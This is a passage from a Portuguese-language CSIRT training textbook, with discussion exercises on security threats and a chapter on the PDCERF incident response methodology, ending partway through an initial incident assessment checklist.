
Roteiro de Atividades 3 Atividade 3.1 – Análise de riscos Estime quais seriam as implicações e consequências para as atividades comerciais de sua instituição caso os recursos críticos fossem corrompidos. a. Servidor de e-mail:

b. Ponto de acesso wireless:

c. Laptop do vice-presidente de marketing:

d. Servidor de banco de dados com dados médicos:

Atividade 3.2 – Ameaças de segurança Responda como a sua organização está atuando com os seguintes ativos sob o ponto de vista da segurança da informação. Esses ativos ou situações realmente representam ameaças de segurança para a sua instituição? a. Restrição de uso de dispositivos USB (disco externo, USB Wi-fi):


e. Telefone celular do vice-presidente de inovação da empresa:

57

b. Acesso físico às estruturas do CSIRT/datacenter. Existe restrição de acesso? Qual é o procedimento quando um funcionário esquece a identificação de acesso? Visitantes podem acessar o datacenter usando smartphones/câmeras?

c. Como é feita a restrição de acesso à rede sem fio da instituição? Como restringir o sinal da rede sem fio? Visitantes têm acesso à mesma rede dos funcionários?

d. Acesso à rede de telefonia 3G/4G:

Atividade 3.3 – Comprometimento de sistemas Alguns dispositivos conectados em redes também são passíveis de serem comprometidos. Por exemplo, boa parte das câmeras possui tecnologia IP e podem ser gerenciadas remotamente. Discuta os seguintes pontos: a. Esses sistemas são conectados na mesma rede de produção da instituição ou possuem algum isolamento (VLAN)?

b. O sistema de gerenciamento é terceirizado? Como o seu CSIRT gerencia o controle de acesso as imagens da câmera? As câmeras poderiam ser utilizadas por terceiros para


identificar senhas digitadas e visualizar dados da tela dos computadores?

58

Atividade 3.4 – Ataques web a. Boa parte das instituições possuem sistemas web baseados em PHP, ASP ou CGI. Esses sistemas tipicamente permitem ao usuário interagir com um banco de dados e também acessar determinados arquivos de um servidor web. Como um administrador de sistemas pode evitar que ataques a essas aplicações possam comprometer um servidor web?

Atividade 3.5 – Ataques de força bruta Quais são os principais mecanismos utilizados para proteger sistemas de ataques de força bruta? Considere os seguintes sistemas: a. Webmail da instituição:

b. SSH:

Atividade 3.6 – Atuando com APTs As questões a seguir são relativas às Advanced Persistent Threats (APTs). Responda como essas ameaças podem estar relacionadas com a sua instituição: a. Sua instituição pode ser considerada como um alvo em potencial para ataques do tipo APT?

b. Existem empresas terceiradas que prestam serviços para a sua empresa? As prestadoras de serviços implementam um nível de segurança que a sua instituição considera aceitável? Essas empresas terceirizadas possuem expertise para lidar com ameaças APT?

c. Quais seriam as consequências caso sua instituição sofresse um ataque do tipo APT

d. Uma APT poderia influenciar de forma direta o valor de uma instituição (no mercado de ações)?


efetivo (evasão de dados confidenciais e informações estratégicas)?

59

Atividade 3.7 – Ataques de negação de serviço (DoS) Responda como o seu CSIRT abordaria as seguintes situações, onde um ataque de negação de serviço está em questão: a. Como lidar como uma ameaça de extorsão de ataque DoS?

b. Você considera um DoS um recurso válido para o hacktivismo? Um ataque de negação de serviço pode ser considerado um protesto? Qual é a sua opinião relativa às pessoas que


cedem o seu computador voluntariamente para realizar ataques DoS?

60

4 Discutir a importância de ter um plano de resposta a incidentes de segurança; Conhecer metodologias para o processo de resposta a incidentes; Entender os conceitos relacionados ao processo de tratamento de incidentes.

conceitos

Ameaças e riscos de segurança; Sincronização e padronização da data e hora; Classificação de incidentes.

Introdução O processo de tratamento de incidentes de segurança consiste na implementação de

q

procedimentos e etapas bem definidas que conduzirão a equipe para a resolução de um incidente de segurança. O conjunto de etapas definidas permite determinar um fluxo lógico especificando ações a serem realizadas nas diferentes etapas do processo. Além de guiar a equipe para a resolução de incidentes, a utilização de procedimentos evita que a equipe cometa falhas. Isso é essencialmente importante, sobretudo na resposta a incidentes, onde consequências de ações implementadas pela equipe podem afetar a organização como um todo. Neste capítulo, é descrita a importância de constituir um plano de resposta a incidentes e ter um processo para atuar com os diversos incidentes de segurança. Para isso, é apresentada uma metodologia específica para a resposta de incidentes de segurança – denominada PDCERF –, onde seus aspectos de implementação são discutidos, bem como considerações relativas a cada etapa da metodologia. Por fim, o capítulo é finalizado com exemplos de rotinas e procedimentos que podem ser utilizados em um CSIRT.

Para pensar Emoção é um luxo custoso durante a crise. Sem foco e lógica para tomar decisões, um tempo precioso pode ser perdido.

Capítulo 4 - Processo de tratamento de incidentes

objetivos

Processo de tratamento de incidentes

61

Metodologia para resposta a incidentes Metodologia define um processo a ser executado, ou seja, o conjunto de etapas que

q

devem ser seguidas para a resolução de incidentes. Utilizar uma metodologia de resposta a incidente não garante o sucesso da operação em si; no entanto, tende a auxiliar nos seguintes aspectos que margeiam o processo de resposta a incidentes: 11 Estrutura e organização: geralmente um CSIRT está envolvido com diferentes incidentes, onde a complexidade, muitas vezes, tende a aumentar com a evolução da investigação. Ter uma metodologia definida garante que os incidentes sejam tratados de forma estrutura (segundo as etapas) e organizada de forma padronizada; 11 Eficiência: utilizar uma metodologia bem definida e assertiva para solucionar incidentes impede que ações desnecessárias sejam implementadas; 11 Considerações legais: alguns incidentes são necessários à colaboração com as forças da lei. A utilização de uma metodologia estabelecida pode auxiliar na preservação de provas e também proteger o CSIRT de possíveis questionamentos. No contexto específico de resposta a incidentes podem ser observadas algumas metodologias descritas pela literatura. Uma das principais metodologias de resposta a incidentes – denominada PDCERF – foi definida pelo Instituto de Engenharia de Software de Pittsburgh, Pensilvânia, nos Estados Unidos, no ano de 1989. A referida metodologia de resposta a incidente especifica diferentes etapas por onde um

q

incidente deve fluir para que a sua resolução seja efetivada com sucesso, sendo: 1. Preparação: gerenciar as ferramentas para análise de incidentes, incluindo o conhecimento de todo o ambiente utilizado; 2. Detecção: detectar o incidente, determinar o escopo e as partes envolvidas com o incidente; 3. Contenção: conter o incidente de maneira a atenuar os danos e evitar que demais recursos sejam comprometidos; 4. Erradicação: eliminar as causas do incidente, removendo todos os eventos relacionados; 5. Recuperação: restaurar o sistema ao seu estado normal; 6. Avaliação: avaliar as ações realizadas para resolver o incidente, documentando detalhes, e discutir lições aprendidas.

3. contenção


2. detecção

62

1. preparação

4. erradicação

resposta a incidentes

5. recuperação 6. avaliação

Na sequência, as diferentes etapas são descritas com mais detalhes, incluindo ações e tarefas relacionadas a cada etapa. Por questão de organização, o detalhamento seguirá a mesma ordem exemplificada na figura anterior.

Figura 4.1 Metodologia de resposta a incidentes de segurança.

Preparação A etapa de preparação descreve aspectos que devem ser observados pela equipe do CSIRT antes mesmo que um incidente de segurança seja identificado. O objetivo é preparar o CSIRT para atuar prontamente na detecção e resolução de incidentes de segurança quando ocorrerem. Algumas atividades relativas à etapa de preparação:

q

11 Implementar mecanismos de defesa e controle de ameaças; 11 Desenvolver procedimentos para lidar com incidentes de forma eficiente; 11 Obter recursos e equipe necessária para lidar com os problemas; 11 Estabelecer infraestrutura de suporte à atividade de resposta a incidentes. Na sequência, as atividades específicas de preparação são descritas com mais detalhes:

Mecanismos de defesa e controle de ameaças Um CSIRT geralmente está inserido na infraestrutura de uma instituição. Mesmo utilizando uma infraestrutura compartilhada. É recomendável que o CSIRT tenha os seus próprios mecanismos de defesa e controle

q

das ameaças. Por exemplo, o CSIRT pode ter uma subrede específica dentro da rede da instituição e, através de mecanismos – filtros de acesso e firewall –, implementar uma barreira lógica para restringir o acesso aos seus sistemas. O CSIRT deve estar preparado para ataques externos e também ataques internos à infraestrutura em que está inserido. Todos os serviços providos pelo CSIRT devem ter cuidado redobrado com a segurança.

q

Afinal, o comprometimento de sistemas do CSIRT é um incidente de segurança crítico, pois tais sistemas contêm informações sensíveis da própria instituição e demais organizações envolvidas com incidentes. Os sistemas e aplicações utilizados no processo de resposta a incidentes também podem sofrer ataques. Logo, cabe à equipe do CSIRT gerir os sistemas e dispositivos utilizados pelo time. Isso significa que as melhores práticas de configuração segura devem ser implementadas pelo administrador de sistemas do CSIRT. O recomendado é alocar recursos suficientes para efetuar um controle de segurança nos sistemas geren-

Algumas medidas básicas de administração de sistemas: 11 Política de senhas; 11 Analisar regularmente os logs gerados pelas ferramentas utilizadas; 11 Zelar pela integridade dos sistemas; 11 Realizar o backup dos sistemas; 11 Atuação e gerenciamento dos sistemas; 11 Configuração segura.

Procedimentos para atuar em incidentes

q Capítulo 4 - Processo de tratamento de incidentes

ciados sem restringir de maneira rígida sua funcionalidade.

63

Como se sabe, os procedimentos podem ser descritos como rotinas operacionais que

q

visam auxiliar o CSIRT para que uma atividade seja realizada com sucesso. Dessa maneira, os membros do time podem realizar tarefas de maneira organizada e mais eficiente evitando que erros sejam introduzidos no processo. Existem diferentes procedimentos que podem ser implementados por um CSIRT, conforme anteriormente descrito. No contexto específico da resposta a incidentes, entretanto, podemos citar procedimentos para desinfecção de uma máquina comprometida; testes de vulnerabilidades; análise de arquivos maliciosos; e a investigação de eventos de segurança em arquivos de logs. Dessa forma, são designadas ações a serem seguidas para cada tipo de incidente de segurança identificado. Incidente

Método de detecção

Procedimento de resposta

Comprometimento de um servidor.

Notificação externa: servidor comprometido está realizando varreduras.

Isolar o servidor comprometido para análise e notificar os responsáveis.

Desfiguração de página web.

Monitoração de integridade de arquivos.

Isolar o servidor para análise.

Indisponibilidade do site principal.

Monitoração de disponibilidade do sistema.

Coordenar com equipe de suporte e responsáveis pela infraestrutura de rede.

Tabela 4.1 Alguns incidentes e possíveis procedimentos.

Essa tabela descreve alguns incidentes, métodos pelos quais os incidentes podem ser detectados pelas instituições e também possíveis medidas de contenção do incidente. Sabe-se, no entanto, que os procedimentos são dinâmicos e devem ser aprimorados com o tempo e experiência da equipe. Certos times optam por descrever procedimentos de maneira mais generalistas, identificando aspectos-chave que devem ser observados no decorrer do processo.

Infraestrutura para resposta a incidentes A infraestrutura para resposta a incidentes refere-se aos recursos utilizados para dar

q

suporte ao processo de incidentes como um todo. Em especial, quando atuando com múltiplos incidentes de segurança, se faz necessário usar softwares que permitam gerenciar os incidentes sendo tratados. Alguns times utilizam ferramentas especializadas no gerenciamento de incidentes, onde é disponibilizada uma plataforma para acompanhar um incidente de segurança. Isso envolve descrever detalhes do incidente, ações realizadas pelo CSIRT e prover ferramentas para


auxiliar na investigação do incidente identificado. Por outro lado, alguns CSIRTs desen-

64

volvem seus próprios sistemas de gerenciamento. Entre os sistemas mais conhecidos estão os de trouble ticket. Esses sistemas são plataformas de acompanhamento de atividades, onde serviços são requisitados e gerenciados de forma centralizada. Boa parte das soluções de trouble ticket caracteriza-se por implementar recursos como: 11 Identificador único: permite localizar um incidente na base de dados e também ser referenciado por outros incidentes relacionados; 11 Tipo: descrevem informações sobre o incidente, tal como: invasão, vírus, comprometimento de sistema e outros;

q

11 Prioridade: qual foi a prioridade designada para o incidente;

q

11 Responsável: pessoa que está atualmente gerenciando o incidente; 11 Status: o estado atual do incidente incluindo informações recebidas e demandas a serem realizadas; 11 Última atualização: quando e quem alterou as últimas informações sobre o incidente. Os sistemas de trouble ticket mais completos também auxiliam o CSIRT com atividades operacionais inerentes ao processo de resposta a incidentes. Por exemplo, permitir o uso de criptografia, suporte a diferentes codificações e idiomas (alfabeto chinês, japonês, polonês ou russo). Da mesma forma, é possível encontrar ferramentas que permitem a exportação das informações do sistema em diferentes formatos, em especial, formatos padronizados para troca de informações de incidentes como o Incident Object Description and IODEF define um formato de dados para descrever e intercambiar informações de incidentes de segurança entre CSIRTs.

Exchange Format (IODEF). Como exemplo, é possível citar a ferramenta RTIR. Essa ferramenta é uma plataforma de

q

código aberto para gerenciar sistemas de resposta a incidentes tendo como público-alvo CSIRTs. A figura a seguir ilustra a interface da ferramenta RTIR.

Figura 4.2 Interface da ferramenta RTIR: http://bestpractical. com/rtir/Detecção

O processo de detecção consiste em determinar a natureza do comprometimento, disponibilizando detalhes dos sistemas comprometidos. A avaliação inicial dos incidentes pode auxiliar na investigação de um incidente de modo a confirmar a existência de um comprometimento e também das suas consequências. De modo geral, a etapa de detecção deve contemplar: 11 Sistemas e serviços afetados: identificar todos os sistemas e serviços afetados relacionados com o incidente; 11 Impacto e risco: avaliar o impacto do incidente e os potenciais riscos dos sistemas afetados (dados vazados, informações de instituições terceiras, impacto na própria organização e impacto na reputação); 11 Eventos correlatos: identificar a existência de outros eventos e alertas relacionados com o incidente em questão;

q


Detecção

65

11 Mapeamento de dados: identificar que tipo de informação e processos podem ter

q

sido afetados; 11 Responsáveis: os responsáveis pelo sistema comprometido, equipes de suporte e donos das informações. De fato, existem diferentes maneiras de detectar um incidente de segurança. Isso inclui investigar as notificações de incidentes recebidos e também identificar proativamente eventos de segurança suspeitos. Devido à sofisticação dos ataques, alguns times fazem o uso de diferentes ferramentas

q

projetadas especificamente para detectar eventos de segurança, tal como: 11 Sistemas de detecção de intrusão: ferramenta que inspeciona pacotes suspeitos e conexões baseadas em assinaturas e heurísticas pré-definidas; 11 Filtros de Pacotes: ferramenta para filtrar tráfego de rede que permite bloquear ou permitir um determinado tráfego; 11 Sistemas de análise de malware: avaliar o comportamento de um malware em um sistema isolado de maneira a mapear um comportamento anômalo; 11 Sistemas de antivírus: avalia assinatura de malwares conhecidos e gera alerta informando o comprometimento de um sistema; 11 Sistemas de fluxos (sflow): permitem avaliar metadados de conexões de rede geralmente implementado em concentradores de rede; 11 Captura de pacotes: dados capturados em uma análise de uma máquina comprometida (tcpdump) podem revelar características maliciosas; 11 Fontes externas: fontes públicas podem fornecer dados valiosos para a identificação de incidentes (redes sociais, fóruns ou blogs). Diversas soluções comerciais prometem alto nível de detecção; no entanto, cabe ao CSIRT coordenar como essas soluções são aplicadas na rede e monitorar seus requisitos de segurança. Além da configuração e monitoração, muitas soluções de segurança requerem constantes atualizações. Certas soluções de segurança demandam atualizações de assinaturas, do próprio Sistema Operacional, de aplicações, ou ainda do firmware sendo executado. Por exemplo, uma solução de antivírus só é consideravelmente efetiva com constantes atualizações das assinaturas e do software em si. Todas essas atividades devem ser consideradas e fazer parte dos esforços do processo de resposta a incidentes.

Sabe-se que não existe uma solução de segurança pronta, ou seja, sempre é neces-


sário customizar os recursos tendo em vista as particularidades da sua rede.

66

Alguns tipos de incidentes, no entanto, não requerem softwares especializados para serem detectados. Apenas informações disponíveis nos diferentes sistemas de logs podem identiqficar uma atividade suspeita. Na sequência são descritas atividades suspeitas que podem configurar um incidente de segurança: 11 Diversas tentativas de login: certos tipos de ataques utilizam técnicas de força bruta para ter acesso privado a sistemas; 11 Tentativas de acesso a contas de sistemas ou inexistentes: o acesso a essas contas revelam um comportamento no mínimo suspeito e deve ser investigado;

q

11 Atividades em horários anormais: alta utilização da rede ou conexões externas em

q

horários não convencionais podem revelar atividades suspeitas; 11 Integridade do sistema: existem algumas ferramentas que verificam a integridade de programas de sistemas. Em alguns comprometimentos, comandos legítimos dos sistemas são substituídos por outros com carga maliciosa (ssh, su ou login); 11 Lacunas nos logs: é uma clara indicação que o sistema foi comprometido e certas atividades foram excluídas dos logs para mascarar a presença do atacante no sistema. Além de identificar um incidente de segurança, faz parte da etapa de detecção obter mais detalhes de um incidente e até mesmo correlacionar eventos de segurança sob um aspecto mais amplo. Isso significa que o CSIRT pode configurar seus recursos de modo a obter maior grau de

q

detalhamento dos eventos envolvidos em um incidente de segurança, tal como: 11 Incrementar o nível de monitoração de ferramentas de segurança de maneira a obter mais informações para serem investigadas; 11 Copiar as informações do sistema comprometido, incluindo artefatos do invasor e demais provas. Dessa maneira, não se corre o risco do atacante remover evidências que podem ser utilizadas para análise e em questões legais; 11 Documentar todos os procedimentos realizados, incluindo todas as evidências de comprometimento identificadas pelo investigador. Na etapa de detecção, pequenos detalhes aparentemente irrelevantes podem ser fundamentais nas etapas posteriores de análise. Como resultado, após o processo de identificação e análise dos incidentes investigados, pode-se ter uma visão preliminar do impacto do incidente na instituição. Sabe-se que estimar o real escopo do incidente permite que a equipe possa direcionar esforços e identificar que tipos de incidentes devem ser priorizados. Cada CSIRT implementa sua própria política de priorização. A seguir, alguns pontos que devem ser considerados no processo de priorização de

q

um incidente: 11 A quantidade de computadores e serviços que foram afetados pelo incidente detectado. Diferentes métodos de intervenção podem ser empregados dependendo de quão espraiado está o comprometimento;

se o atacante conseguiu ter acesso a usuários privilegiados (administrador, root) ou que usuários foram comprometidos; 11 A criticidade dos sistemas comprometidos. Identificar se algum sistema comprometido pode afetar a operação regular da instituição; 11 Os meios utilizados para o comprometimento dos sistemas, tal como a aplicação atacada e vulnerabilidade explorada; 11 O nível de disseminação das informações sobre o incidente. Muitas vezes a propagação de informações sobre um incidente pode repercutir negativamente com os clientes ou parceiros da instituição afetada. Invariavelmente, quando um incidente de segurança é detectado, existe a necessidade de interagir com as partes envolvidas. Nesse processo, a comunicação em si é crítica. Torna-se necessário identificar fatores-chave e fatores essencialmente necessários, que devem ser


11 O nível de privilégio obtido pelo atacante nos sistemas comprometidos: por exemplo,

informados para as partes envolvidas. 67

Os elementos básicos de uma notificação de incidente tipicamente compreende:

q

11 Informações básicas: descrição do incidente, incluindo o tipo do ataque identificado, motivação aparente do ataque, Sistema Operacional ou serviço afetado pelo incidente, possível origem do ataque e horário; 11 Informações específicas do ataque: versão do serviço ou sistema comprometido, fragmento do log que descreve o ataque em si, protocolo utilizado no ataque e vulnerabilidade explorada; 11 Consequências: todas as consequências do ataque identificadas e possíveis ameaças, tendo em vista o grau de comprometimento do incidente. Por exemplo, o atacante obteve acesso privilegiado a um servidor de banco de dados da empresa. Embora não se tenha identificado o acesso à base de dados, esta pode ter sido copiada; 11 Status: situação atual do incidente, incluindo ações realizadas nos serviços e sistemas comprometidos. Além dessas informações, outros dados podem complementar a notificação. Uma notificação bem detalhada auxilia na investigação e resolução do incidente. Cabe lembrar, entretanto, que nem sempre todas as partes envolvidas necessitam saber os detalhes do incidente, sobretudo entidades externas à instituição. Em alguns casos, podem-se utilizar notificações com diferentes níveis de detalhamento, tendo em vista o público-alvo.

Contenção A etapa de contenção tem por objetivo limitar ou atenuar os danos causados por um

q

incidente de segurança previamente detectado. Com a implementação de medidas de contenção deseja-se evitar que um dado incidente afete os demais recursos da instituição ou, ainda, impeça o funcionamento de serviços críticos. Do contrário, caso as ações de contenção não sejam implementadas, um atacante pode:

q

11 Obter controle de aplicações ou novos sistemas na rede local; 11 Remover dados do sistema de arquivos: remover evidências dos logs ou ainda obter informações sensíveis e valiosas para a instituição; 11 Lançar ataques externos destinados a outras instituições ou, até mesmo, conectar a um controlador de botnet. A contenção deve fornecer uma solução de segurança razoável até que informações suficientes sejam obtidas para a resolução do incidente de maneira definitiva.


Afinal, nem sempre é possível ter visão precisa do incidente no instante seguinte em que é detectado. Ações de contenção geralmente são realizadas de forma rápida e de maneira paliativa.

Mesmo assim, tais ações não devem ser subestimadas. Existem incidentes que podem sair do controle facilmente, como a propagação de um worm em uma instituição. No emblemático caso do worm Slammer, o malware infectou 90% das máquinas vulneráveis na internet nos primeiros dez minutos de atuação. Diferentes ações podem ser realizadas para diminuir os danos de um incidente. Nem sempre a solução mais simples, como desligar um computador comprometido, é a maneira correta de limitar os dados de um comprometimento. Certos comprometimentos valem-se de armadilhas lógicas, por exemplo: assim que um sistema for desligado, um conjunto

68

q

No caso específico da propagação de um malware, por exemplo, pode-se eliminar o vetor de ataque utilizado pelo malware. Outra possível ação é isolar os sistemas comprometidos em nível de rede, impedindo que o worm alastre-se para outras sub-redes.

de funções é ativado, tal como: remover todos os rastros do comprometimento ou ainda, remover arquivos essenciais para a execução do Sistema Operacional. Pode-se concluir que a parte essencial da contenção é a tomada de decisão, ou seja, definir efetivamente que ações devem ser realizadas para conter o incidente. A seguir são exemplificadas algumas ações de contenção:

q

11 Desconectar o sistema comprometido ou isolar a rede afetada. Em alguns casos, mesmo com o sistema comprometido, é necessário manter o sistema comprometido ativo. Como solução temporária, pode-se isolar o sistema da rede. Dessa forma, o sistema continua acessível, mas apenas com acesso local, evitando que outras máquinas sejam comprometidas; 11 Desativar sistema é, em casos específicos, uma solução aconselhável para evitar maiores perdas. Em um caso onde um sistema comprometido está tendo o sistema de arquivo removido, por exemplo, o desligamento do sistema evitará que o processo de formatação seja completo; 11 Alterar políticas de roteamento dos equipamentos de redes de maneira a bloquear o fluxo previamente identificado como malicioso; 11 Desabilitar serviços vulneráveis é essencial para certos tipos de ataques. Dessa maneira, em casos onde um ataque explora serviços específicos, a desativação do serviço atacado inibe o comprometimento de outros sistemas; 11 Bloquear padrões de tráfego usando ferramentas de restrição. Esse bloqueio só pode ser efetuado quando um padrão de tráfego que caracteriza o evento de segurança investigado – assinatura – é mapeado. A contenção é uma tarefa que pode ser incremental. Com a investigação do incidente, novos sistemas afetados podem necessitar de medidas que possam conter possíveis ações do invasor. Evidentemente, cada incidente tem as suas particularidades. Cada caso demanda ações onde o CSIRT define estratégias de contenção. Nas etapas iniciais de um incidente as informações são imprecisas e existem certas pressões para que o incidente seja resolvido rapidamente e pare de afetar os sistemas da instituição. Se por um lado desativar um sistema comprometido pode parecer a ação mais sensata, por outro deixar o sistema ativo e identificar o intruso pode ser mais interessante. Qualquer ação de contenção ou mitigação nos sistemas comprometidos podem ter

q

efeitos indesejados, tal como destruir evidências ou fazer com que o atacante perceba que ele foi identificado fazendo com que determinadas ações sejam lançadas (apagar todos os arquivos). Logo, mesmo na fase de contenção, recomenda-se que sejam coletados, na medida do possível, todos os dados pertinentes para a investigação antes mesmo que as ações de contenção sejam realizadas. Afinal, pode ser que o acesso ao sistema comprometido torne-se inviável. Por fim, a fase de contenção deve ser devidamente documentada para que os procedimentos possam ser revertidos posteriormente; afinal, na sua maioria, são ações temporárias. Não menos importante é comunicar aos usuários e partes envolvidas o real status do sistema comprometido, descrevendo os procedimentos realizados até o momento para a contenção dos ataques. Do contrário, as partes dependentes do serviço comprometido podem ser informadas de forma direta sem que rumores sejam disseminados.


l

69

Erradicação O objetivo da etapa de erradicação é eliminar a causa do incidente. Deseja-se remover

q

a fragilidade de segurança utilizada para comprometer os sistemas relacionados com o incidente de segurança. Todas as ameaças e riscos devem ser removidos do sistema e redes afetadas antes que o serviço seja reestabelecido. Do contrário, o sistema pode ser facilmente comprometido novamente. Em alguns casos; no entanto, apenas remover a causa do incidente pode não ser efetiva para que o sistema possa ser recuperado. As ações específicas de erradicação dependem da natureza do incidente.

q

Em sistemas onde uma vulnerabilidade de uma aplicação foi explorada para comprometer o sistema, podem ser utilizadas ações como: atualizar a aplicação comprometida; instalar as últimas correções de segurança; restaurar os dados dos usuários; usar sistemas de antivírus e remoção de malware. Como resultado, essa etapa deve:

q

11 Garantir que as causas do incidente foram removidas, assim como todas as atividades e arquivos associados ao incidente; 11 Assegurar a remoção de todos os métodos de acesso utilizado pelo atacante, incluindo: novas contas de acessos; backdoors e, se aplicável, acesso físico ao sistema comprometido. Da mesma forma, a erradicação deve considerar as ações de contenção realizadas previamente pela equipe, tal como bloqueios e restrição de acesso aos sistemas. Algumas vezes, a erradicação completa do incidente não pode ser realizada e as medidas de contenção devem ser mantidas até que a solução seja efetivada. Por exemplo, uma vulnerabilidade sem correção disponibilizada pelo fabricante. Por fim, recomenda-se que o CSIRT tenha procedimentos estabelecidos para atuar com os casos de erradicação de incidentes conhecidos e frequentemente resolvidos pela equipe. Dessa maneira, evita-se com que tarefas sejam esquecidas durante o processo.

Recuperação A recuperação tem o objetivo de retornar qualquer sistema comprometido completa-

q

mente ao seu estado normal de operação. Essa etapa inclui retornar ao estado operacional das redes afetadas, e também restaurar os dados de aplicações e de usuários, além


da integridade do sistema. Os principais objetivos do estágio de recuperação incluem:

70

11 Restaurar a integridade do sistema; 11 Garantir que o sistema foi recuperado corretamente e que suas funcionalidades estejam ativas; 11 Implementar medidas de segurança para evitar novos comprometimentos. O processo de recuperação de um incidente de segurança é determinado pelas próprias características do ataque efetuado. Em certos casos, a recuperação pode ser realizada logo após remover as causas do incidente; em outros, porém, é necessário reconstruir o sistema como um todo. Neste contexto, garantir a integridade do sistema é essencial.

Em sistemas comprometidos não se deve confiar na integridade dos arquivos, pois estes podem ter sidos substituídos por arquivos maliciosos. Isso inclui comandos básicos de sistema, tal como, “ls”, “md5sum”, “ps” e determinadas chamadas de sistemas. Sendo assim, a integridade dos sistemas deve ser verificada utilizando ferramentas externas ao próprio sistema. Caso não seja possível garantir a integridade, recomenda-se a reinstalação do Sistema Operacional, usando versões confiáveis. Além de garantir a integridade do sistema, deve-se atentar para a restauração dos dados do sistema, tal como dados de usuários, configurações de serviços e demais arquivos. A restauração de dados dos sistemas comprometidos pode ser realizada usando o

q

último backup completo armazenado. Outra maneira é utilizar sistemas tolerantes a falha, como discos rígidos espelhados ou demais sistemas de RAID. Deve-se, no entanto, assegurar-se de que os dados utilizados para a restauração do sistema estejam íntegros e não tenham sido comprometidos. Um erro comum é reinstalar aplicações e fazer com que o sistema seja restaurado com a mesma aplicação vulnerável que levou ao comprometimento. Portanto, devemos estar seguros de que as medidas corretivas foram aplicadas corretamente de maneira a impedir que o incidente volte a se repedir. Após a restauração dos sistemas, é preciso se certificar de que os serviços estejam fun-

q

cionando de maneira correta. Isso inclui verificar os serviços providos e a existência de alguma restrição de acesso. Em certos incidentes, o serviço comprometido pode estar listado em listas de bloqueio externas (blacklist). Isso é muito comum em sistemas que são comprometidos e utilizados para envio de spam. Sendo assim, faz parte do processo verificar a existência de algum filtro externo e providenciar a remoção. Adicionalmente, algumas considerações devem ser endereçadas a fim de realizar com

q

sucesso o estágio de recuperação de sistemas: 11 Comunicar as pessoas envolvidas sobre o estado da restauração do sistema e prover orientação na eventual detecção de anormalidades; 11 Continuar a monitoração das atividades do sistema em busca de possíveis anomalias, o que pode representar o retorno do comprometimento; 11 Atualizar os demais sistemas comprometidos incluindo correção de vulnerabilidades mente o ataque sofrido. Como comentado, tipicamente o CSIRT possui os seus próprios procedimentos implementados para a restauração dos sistemas. A título de exemplo, uma pequena rotina é descrita a seguir, de maneira a ilustrar os conceitos dessa etapa de recuperação: 11 Remover vulnerabilidades, instalar correções e demais atualizações necessárias; 11 Reinstalar versões confiáveis de Sistemas Operacionais; 11 Reinstalar backup de dados; 11 Trocar todas as credenciais de acessos do sistema; 11 Conduzir o teste de vulnerabilidade no sistema comprometido;

q


e também atualizar as defesas de segurança com novas regras que evitem nova-

71

11 Reconectar o sistema na rede;

q

11 Monitor as atividades do sistema com alto nível de detalhes; 11 Documentar o procedimento de recuperação para possíveis auditorias e avaliações. Portanto, a etapa de solução de um incidente consiste em mitigar as causas, levando-se em consideração todas as informações obtidas durante as etapas anteriores. Na medida do possível e do aplicável, o processo de erradicação deve considerar propostas de melhorias que visem a diminuir a exposição a novos incidentes como o que foi tratado. Finalmente, durante a recuperação dos sistemas, é importante remover todas as

q

medidas defensivas utilizadas, em especial passando novamente pelas ações realizadas na etapa de contenção do incidente. Deve-se ajustar, por exemplo, filtros aplicados aos sistemas e em equipamentos de infraestrutura de rede envolvidos.

Avaliação Por fim, a avaliação é a etapa que consiste em revisar e integrar todas as informações

q

relacionadas com o incidente ocorrido. A avaliação do incidente passa por reconstituir suas etapas, realizando uma análise após a resolução do incidente. As atividades de avaliação visam: 11 Caracterizar o conjunto de lições aprendidas de modo a aprimorar os procedimentos e processos existentes; 11 Prover estatísticas e métricas relativas ao processo de resposta a incidentes; 11 Identificar características de incidentes que podem ser utilizadas para treinar novos membros da equipe; 11 Obter informações que podem ser utilizadas em processos legais. Infelizmente, muitas vezes, esse estágio é negligenciado devido a fatores como esgotamento da equipe (cansaço ou falta de recursos). No entanto, a etapa de avaliação é igualmente importante e não deve ser omitida do processo de resposta de incidentes. Nesse contexto, a avaliação de incidentes passa por reconstituir suas etapas, realizando uma análise post-mortem. Definir, por exemplo, quais foram os estágios de comprometimento; que tipo de informação foi acessada; quais informações poderiam ter sido acessadas; onde o incidente poderia ter sido detectado; e se as novas medidas implementadas seriam efetivas para novos incidentes da mesma natureza. Outra importante parte do estágio de avaliação é prover a atualização de possíveis

q

modificações nos procedimentos utilizados pelo CSIRT, tendo em base as lições apren Tratamento de Incidentes de Segurança

didas pelo incidente finalizado.

72

Possivelmente a equipe que atuou nos estágios prévios do processo de resposta a incidente identificou etapas dos procedimentos utilizados que podem ser aprimorados. Certas etapas podem ser melhoradas ou, até mesmo, suprimidas de maneira a deixar o procedimento de resposta mais objetivo. Por fim, e não mesmo importante, avaliar como decorreu a interação entre as pessoas do

q

CSIRT e também a comunicação com outras partes envolvidas com o incidente. Nesse estágio de avaliação, aspectos da comunicação interpessoal também podem ser melhorados. Da mesma forma, deve-se avaliar a condução gerencial da equipe no momento da resposta a incidentes, permitindo identificar possíveis limitações.

Recursos adicionais Como comentado, as etapas da metodologia citada servem como guia para a implementação de procedimentos e ações a serem implementados pelos CSIRTs. É importante lembrar que não existe um procedimento ou conjunto de ações padronizadas para lidar com incidentes de segurança. Todas as ações do CSIRT devem seguir a missão e a abrangência operacional tendo em vista as políticas de cada instituição. Na sequência são apresentados alguns exemplos de procedimentos de maneira a ilustrar os conceitos discutidos até então. Os seguintes procedimentos são apresentados:

q

11 Roteiro para avaliação inicial de um incidente de segurança; 11 Roteiros para atuar com os seguintes tipos de incidentes: 22 Comprometimento por worm; 22 Página falsa.

Roteiro para avaliação inicial de um incidente Utilizando a metodologia recém-descrita, é possível desenvolver um roteiro ou um checklist que pode ser útil para rapidamente avaliar e obter informações sobre o incidente. Mesmo não disponibilizando a resposta de todos os tipos de incidentes, o checklist pode ser utilizado para auxiliar o CSIRT nas fases iniciais de resposta a incidentes. O checklist a seguir foi embasado no modelo proposto por Eugene Shultz e Russell Shumway (vide bibliografia deste capítulo).

Roteiro para avaliação de incidentes de segurança 1. Qual é a natureza do incidente? [

] Negação de serviços (DoS)

[

] Comprometimento de sistemas

[

] Códigos maliciosos

[

] Acesso não autorizado

[

] Outros

q

2. O incidente afetou ou comprometeu dados sensíveis da instituição, como, por exemplo, base de clientes, credenciais de acesso, sistemas críticos? [

] Sim

[

] Não

[

] Sim

[

] Não

Quando o incidente foi detectado? Data:

Hora: 4. Como o incidente foi detectado? [

] Auditoria de Logs ou sistemas de detecção de intrusão

[

] Notificação externa

[

] Software de antivírus

[

